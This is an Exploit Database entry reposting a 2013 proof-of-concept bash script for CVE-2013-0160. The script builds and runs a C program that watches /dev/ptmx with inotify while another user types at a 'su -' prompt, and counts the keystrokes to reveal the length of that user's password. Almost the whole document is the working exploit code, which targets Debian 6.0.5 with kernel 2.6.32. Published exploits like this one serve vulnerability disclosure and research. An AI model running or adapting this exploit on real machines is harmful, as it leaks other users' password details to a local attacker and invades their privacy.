Linux Kernel 2.6.32-5 (Debian 6.0.5) – ‘/dev/ptmx’ Key Stroke Timing Local Disclosure

• Exploit Database
• 7 阅读

• 作者： vladz
  日期： 2013-02-05
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/24459/

• #!/bin/bash
  # ptmx-su-pwdlen.sh -- This PoC determine the password length of a local
  # user who runs "su -".Done thanks to the ptmx keystroke timing attack
  # (CVE-2013-0160). See http://vladz.devzero.fr/013_ptmx-timing.php for
  # more information.
  #
  # Tested on Debian 6.0.5 (kernel 2.6.32-5-amd64).
  #
  # "THE BEER-WARE LICENSE" (Revision 42):
  # <vladz@devzero.fr> wrote this file. As long as you retain this notice
  # you can do whatever you want with this stuff. If we meet some day, and
  # you think this stuff is worth it, you can buy me a beer in return. -V.
  
  if ps -e -o cmd= | egrep -q "^(-|^)su"; then
  echo "[-] Kill/close all running \"su\" session before using this PoC"
  exit 1
  fi
  
  exe=$(mktemp) || exit 1
  tmp=$(mktemp) || exit 1
  
  cat > ${exe}.c << _EOF_
  #include <stdio.h>
  #include <signal.h>
  #include <unistd.h>
  #include <sys/inotify.h>
  
  static int count = 0;
  
  void display_result() {
  
  printf("[+] password len is %d\n", count-1);
  _exit(0);
  }
  
  int main() {
  
  int fd;
  char buf[1024];
  
  signal(SIGINT, display_result);
  
  fd = inotify_init();
  inotify_add_watch(fd, "/dev/ptmx", IN_MODIFY);
  
  while(read(fd, buf, 1024)) count++; 
  
  return 0;
  }
  _EOF_
  
  cc -o ${exe}{,.c}
  
  echo "[*] Wait for someone to run \"su -\""
  
  while true; do 
  
  ps -e -o cmd= | egrep "^(-|^)su" >${tmp}
  x=$(wc -l ${tmp})
  
  case ${x% *} in
  
  1) (( run )) && continue;
   echo -n "[+] su detected, full command: "
   cat ${tmp}; ${exe} & 
   (( run = 1 ));;
  
  2) [ ! -z "$!" ] && kill -2 $!; break ;;
  
  esac
  
  done
  
  rm -f ${exe}{,.c} ${tmp}